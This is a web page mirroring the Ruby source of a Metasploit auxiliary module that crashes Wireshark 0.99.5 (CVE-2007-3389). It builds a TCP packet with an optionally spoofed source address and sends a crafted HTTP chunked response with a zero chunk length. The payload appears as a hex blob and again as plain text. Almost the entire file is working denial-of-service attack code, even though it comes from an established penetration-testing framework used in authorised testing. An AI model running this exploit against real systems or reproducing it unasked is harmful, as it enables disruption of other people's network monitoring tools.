Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/wireshark/chunked.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Capture
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Wireshark chunked_encoding_dissector Function DOS',
15
'Description' => %q{
16
Wireshark crash when dissecting an HTTP chunked response.
17
Versions affected: 0.99.5 (Bug 1394)
18
},
19
'Author' => ['Matteo Cantoni <goony[at]nothink.org>'],
20
'License' => MSF_LICENSE,
21
'References' => [
22
['CVE', '2007-3389'],
23
['OSVDB', '37643'],
24
['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'],
25
],
26
'DisclosureDate' => '2007-02-22',
27
'Notes' => {
28
'Stability' => [CRASH_SERVICE_DOWN],
29
'SideEffects' => [],
30
'Reliability' => []
31
}
32
)
33
)
34
35
register_options([
36
OptInt.new('SPORT', [true, 'The source port used to send the malicious HTTP response', 80]),
37
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
38
])
39
40
deregister_options('FILTER', 'PCAPFILE')
41
end
42
43
def run
44
open_pcap
45
46
print_status("Sending packet to #{rhost}")
47
48
p = PacketFu::TCPPacket.new
49
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
50
p.ip_daddr = rhost
51
p.tcp_dport = rand(1..65535)
52
p.tcp_ack = rand(0x100000000)
53
p.tcp_flags.psh = 1
54
p.tcp_flags.ack = 1
55
p.tcp_sport = datastore['SPORT'].to_i
56
p.tcp_win = 3072
57
58
# The following hex blob contains an HTTP response with a chunked-encoding
59
# length of 0. The ASCII version is below in a block comment.
60
#
61
# We represent it like this to prevent tools from mangling the carriage
62
# returns within it.
63
#
64
p.payload = "\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x33\x30\x32\x20\x46\x6f\x75" \
65
"\x6e\x64\x0d\x0a\x44\x61\x74\x65\x3a\x20\x54\x68\x75\x2c\x20\x32" \
66
"\x32\x20\x46\x65\x62\x20\x32\x30\x30\x37\x20\x32\x31\x3a\x35\x39" \
67
"\x3a\x30\x33\x20\x47\x4d\x54\x0d\x0a\x53\x65\x72\x76\x65\x72\x3a" \
68
"\x20\x41\x70\x61\x63\x68\x65\x2f\x31\x2e\x33\x2e\x33\x37\x20\x28" \
69
"\x55\x6e\x69\x78\x29\x20\x50\x48\x50\x2f\x34\x2e\x34\x2e\x34\x20" \
70
"\x6d\x6f\x64\x5f\x74\x68\x72\x6f\x74\x74\x6c\x65\x2f\x33\x2e\x31" \
71
"\x2e\x32\x20\x6d\x6f\x64\x5f\x70\x73\x6f\x66\x74\x5f\x74\x72\x61" \
72
"\x66\x66\x69\x63\x2f\x30\x2e\x31\x20\x6d\x6f\x64\x5f\x73\x73\x6c" \
73
"\x2f\x32\x2e\x38\x2e\x32\x38\x20\x4f\x70\x65\x6e\x53\x53\x4c\x2f" \
74
"\x30\x2e\x39\x2e\x36\x62\x20\x46\x72\x6f\x6e\x74\x50\x61\x67\x65" \
75
"\x2f\x35\x2e\x30\x2e\x32\x2e\x32\x36\x33\x35\x0d\x0a\x58\x2d\x50" \
76
"\x6f\x77\x65\x72\x65\x64\x2d\x42\x79\x3a\x20\x50\x48\x50\x2f\x34" \
77
"\x2e\x34\x2e\x34\x0d\x0a\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20" \
78
"\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31" \
79
"\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x0d\x0a\x50\x33\x50" \
80
"\x3a\x20\x70\x6f\x6c\x69\x63\x79\x72\x65\x66\x3d\x22\x68\x74\x74" \
81
"\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x77\x33" \
82
"\x63\x2f\x70\x33\x70\x2e\x78\x6d\x6c\x22\x2c\x20\x43\x50\x3d\x22" \
83
"\x4e\x4f\x49\x20\x44\x53\x50\x20\x43\x4f\x52\x20\x4e\x49\x44\x20" \
84
"\x41\x44\x4d\x20\x44\x45\x56\x20\x50\x53\x41\x20\x4f\x55\x52\x20" \
85
"\x49\x4e\x44\x20\x55\x4e\x49\x20\x50\x55\x52\x20\x43\x4f\x4d\x20" \
86
"\x4e\x41\x56\x20\x49\x4e\x54\x20\x53\x54\x41\x22\x0d\x0a\x45\x78" \
87
"\x70\x69\x72\x65\x73\x3a\x20\x54\x68\x75\x2c\x20\x31\x39\x20\x4e" \
88
"\x6f\x76\x20\x31\x39\x38\x31\x20\x30\x38\x3a\x35\x32\x3a\x30\x30" \
89
"\x20\x47\x4d\x54\x0d\x0a\x50\x72\x61\x67\x6d\x61\x3a\x20\x6e\x6f" \
90
"\x2d\x63\x61\x63\x68\x65\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" \
91
"\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x20\x61\x74\x74" \
92
"\x61\x63\x68\x6d\x65\x6e\x74\x3b\x20\x66\x69\x6c\x65\x6e\x61\x6d" \
93
"\x65\x3d\x53\x74\x61\x74\x43\x6f\x75\x6e\x74\x65\x72\x2d\x4c\x6f" \
94
"\x67\x2d\x32\x32\x38\x37\x35\x39\x32\x2e\x63\x73\x76\x0d\x0a\x53" \
95
"\x65\x74\x2d\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x50\x48\x50\x53\x45" \
96
"\x53\x53\x49\x44\x3d\x64\x37\x35\x65\x64\x39\x37\x36\x66\x30\x30" \
97
"\x39\x64\x61\x31\x31\x38\x65\x62\x36\x31\x34\x62\x39\x38\x66\x64" \
98
"\x35\x62\x39\x31\x36\x25\x33\x42\x2b\x70\x61\x74\x68\x25\x33\x44" \
99
"\x25\x32\x46\x0d\x0a\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x3a" \
100
"\x20\x74\x69\x6d\x65\x6f\x75\x74\x3d\x31\x35\x2c\x20\x6d\x61\x78" \
101
"\x3d\x31\x30\x30\x0d\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e" \
102
"\x3a\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0d\x0a\x54\x72" \
103
"\x61\x6e\x73\x66\x65\x72\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a" \
104
"\x20\x63\x68\x75\x6e\x6b\x65\x64\x0d\x0a\x43\x6f\x6e\x74\x65\x6e" \
105
"\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74" \
106
"\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d" \
107
"\x0d\x0a\x0d\x0a\x30\x0d\x0a\x0d\x0a"
108
109
p.recalc
110
capture_sendto(p, rhost)
111
112
close_pcap
113
end
114
end
115
116
=begin
117
HTTP/1.1 302 Found
118
Date: Thu, 22 Feb 2007 21:59:03 GMT
119
Server: Apache/1.3.37 (Unix) PHP/4.4.4 mod_throttle/3.1.2 mod_psoft_traffic/0.1 mod_ssl/2.8.28 OpenSSL/0.9.6b FrontPage/5.0.2.2635
120
X-Powered-By: PHP/4.4.4
121
Location: http://127.0.0.1/index.html
122
P3P: policyref="http://127.0.0.1/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
123
Expires: Thu, 19 Nov 1981 08:52:00 GMT
124
Pragma: no-cache
125
Content-Disposition: attachment; filename=StatCounter-Log-2287592.csv
126
Set-Cookie: PHPSESSID=d75ed976f009da118eb614b98fd5b916%3B+path%3D%2F
127
Keep-Alive: timeout=15, max=100
128
Connection: Keep-Alive
129
Transfer-Encoding: chunked
130
Content-Type: application/octet-stream
131
132
0
133
=end
134
135